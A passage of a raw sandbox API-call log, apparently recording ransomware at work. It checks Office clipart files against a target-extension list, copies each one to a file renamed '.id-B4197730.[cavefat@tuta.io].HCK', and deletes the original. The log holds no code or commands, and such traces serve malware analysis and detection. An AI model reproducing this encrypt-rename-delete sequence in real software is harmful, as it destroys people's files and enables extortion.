lstrlenW (lpString=".dbf") returned 4 [0172.398] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".1cd") returned 4 [0172.398] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".jpg") returned 4 [0172.398] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.399] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.399] lstrlenW (lpString="J0318804.WMF") returned 12 [0172.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.405] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11770) returned 1 [0172.405] CloseHandle (hObject=0x394) returned 1 [0172.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf")) returned 0x220 [0172.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.412] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.412] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.415] GetLastError () returned 0x0 [0172.415] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2dfa, lpOverlapped=0x0) returned 1 [0172.417] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2e00, lpOverlapped=0x0) returned 1 [0172.418] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.418] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.418] SetEndOfFile (hFile=0x3a8) returned 1 [0172.419] CloseHandle (hObject=0x3a8) returned 1 [0172.423] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.423] SetEndOfFile (hFile=0x308) returned 1 [0172.426] CloseHandle (hObject=0x308) returned 1 [0172.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf")) returned 1 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString=".doc") returned 4 [0172.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString=".docx") returned 5 [0172.430] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.430] lstrlenW (lpString=".pdf") returned 4 [0172.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString=".xls") returned 4 [0172.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.430] lstrlenW (lpString=".xlsx") returned 5 [0172.430] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.430] lstrlenW (lpString=".ppt") returned 4 [0172.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString=".zip") returned 4 [0172.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.430] lstrlenW (lpString=".rar") returned 4 [0172.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString=".bz2") returned 4 [0172.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString=".7z") returned 3 [0172.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString=".dbf") returned 4 [0172.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString=".1cd") returned 4 [0172.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString=".jpg") returned 4 [0172.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.430] lstrlenW (lpString=".doc") returned 4 [0172.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.430] lstrlenW (lpString=".docx") returned 5 [0172.430] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.430] lstrlenW (lpString=".pdf") returned 4 [0172.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.431] lstrlenW (lpString=".xls") returned 4 [0172.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.431] lstrlenW (lpString=".xlsx") returned 5 [0172.431] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.431] lstrlenW (lpString=".ppt") returned 4 [0172.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.431] lstrlenW (lpString=".zip") returned 4 [0172.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.431] lstrlenW (lpString=".rar") returned 4 [0172.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.431] lstrlenW (lpString=".bz2") returned 4 [0172.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.431] lstrlenW (lpString=".7z") returned 3 [0172.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.431] lstrlenW (lpString=".dbf") returned 4 [0172.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.431] lstrlenW (lpString=".1cd") returned 4 [0172.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF") returned 68 [0172.431] lstrlenW (lpString=".jpg") returned 4 [0172.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.431] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.431] lstrlenW (lpString="J0324704.WMF") returned 12 [0172.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.435] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11902) returned 1 [0172.435] CloseHandle (hObject=0x308) returned 1 [0172.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf")) returned 0x220 [0172.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.443] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.443] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.446] GetLastError () returned 0x0 [0172.446] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2e7e, lpOverlapped=0x0) returned 1 [0172.447] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2e80, lpOverlapped=0x0) returned 1 [0172.448] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.448] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.449] SetEndOfFile (hFile=0x368) returned 1 [0172.450] CloseHandle (hObject=0x368) returned 1 [0172.453] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.453] SetEndOfFile (hFile=0x38c) returned 1 [0172.456] CloseHandle (hObject=0x38c) returned 1 [0172.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf")) returned 1 [0172.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.460] lstrlenW (lpString=".doc") returned 4 [0172.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString=".docx") returned 5 [0172.461] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.461] lstrlenW (lpString=".pdf") returned 4 [0172.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString=".xls") returned 4 [0172.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.461] lstrlenW (lpString=".xlsx") returned 5 [0172.461] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.461] lstrlenW (lpString=".ppt") returned 4 [0172.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.461] lstrlenW (lpString=".zip") returned 4 [0172.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.461] lstrlenW (lpString=".rar") returned 4 [0172.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString=".bz2") returned 4 [0172.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString=".7z") returned 3 [0172.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.461] lstrlenW (lpString=".dbf") returned 4 [0172.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.461] lstrlenW (lpString=".1cd") returned 4 [0172.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.461] lstrlenW (lpString=".jpg") returned 4 [0172.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.461] lstrlenW (lpString=".doc") returned 4 [0172.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString=".docx") returned 5 [0172.461] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.461] lstrlenW (lpString=".pdf") returned 4 [0172.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString=".xls") returned 4 [0172.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.461] lstrlenW (lpString=".xlsx") returned 5 [0172.461] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.461] lstrlenW (lpString=".ppt") returned 4 [0172.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.461] lstrlenW (lpString=".zip") returned 4 [0172.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.462] lstrlenW (lpString=".rar") returned 4 [0172.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.462] lstrlenW (lpString=".bz2") returned 4 [0172.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.462] lstrlenW (lpString=".7z") returned 3 [0172.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.462] lstrlenW (lpString=".dbf") returned 4 [0172.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.462] lstrlenW (lpString=".1cd") returned 4 [0172.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF") returned 68 [0172.462] lstrlenW (lpString=".jpg") returned 4 [0172.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.462] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.462] lstrlenW (lpString="J0341439.JPG") returned 12 [0172.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.470] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19565) returned 1 [0172.470] CloseHandle (hObject=0x368) returned 1 [0172.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg")) returned 0x220 [0172.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.484] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.485] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.493] GetLastError () returned 0x0 [0172.493] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4c6d, lpOverlapped=0x0) returned 1 [0172.494] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4c70, lpOverlapped=0x0) returned 1 [0172.495] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.495] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.495] SetEndOfFile (hFile=0x388) returned 1 [0172.498] CloseHandle (hObject=0x388) returned 1 [0172.500] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.500] SetEndOfFile (hFile=0x38c) returned 1 [0172.505] CloseHandle (hObject=0x38c) returned 1 [0172.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg")) returned 1 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString=".doc") returned 4 [0172.511] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.511] lstrlenW (lpString=".docx") returned 5 [0172.511] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.511] lstrlenW (lpString=".pdf") returned 4 [0172.511] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.511] lstrlenW (lpString=".xls") returned 4 [0172.511] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.511] lstrlenW (lpString=".xlsx") returned 5 [0172.511] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.511] lstrlenW (lpString=".ppt") returned 4 [0172.511] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString=".zip") returned 4 [0172.511] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.511] lstrlenW (lpString=".rar") returned 4 [0172.511] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.511] lstrlenW (lpString=".bz2") returned 4 [0172.511] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.511] lstrlenW (lpString=".7z") returned 3 [0172.511] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString=".dbf") returned 4 [0172.511] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString=".1cd") returned 4 [0172.511] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString=".jpg") returned 4 [0172.511] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.511] lstrlenW (lpString=".doc") returned 4 [0172.511] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.511] lstrlenW (lpString=".docx") returned 5 [0172.511] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.511] lstrlenW (lpString=".pdf") returned 4 [0172.511] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.512] lstrlenW (lpString=".xls") returned 4 [0172.512] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.512] lstrlenW (lpString=".xlsx") returned 5 [0172.512] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.512] lstrlenW (lpString=".ppt") returned 4 [0172.512] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.512] lstrlenW (lpString=".zip") returned 4 [0172.512] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.512] lstrlenW (lpString=".rar") returned 4 [0172.512] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.512] lstrlenW (lpString=".bz2") returned 4 [0172.512] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.512] lstrlenW (lpString=".7z") returned 3 [0172.512] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.512] lstrlenW (lpString=".dbf") returned 4 [0172.512] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 [0172.512] lstrlenW (lpString=".1cd") returned 4 [0172.512] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG") returned 68 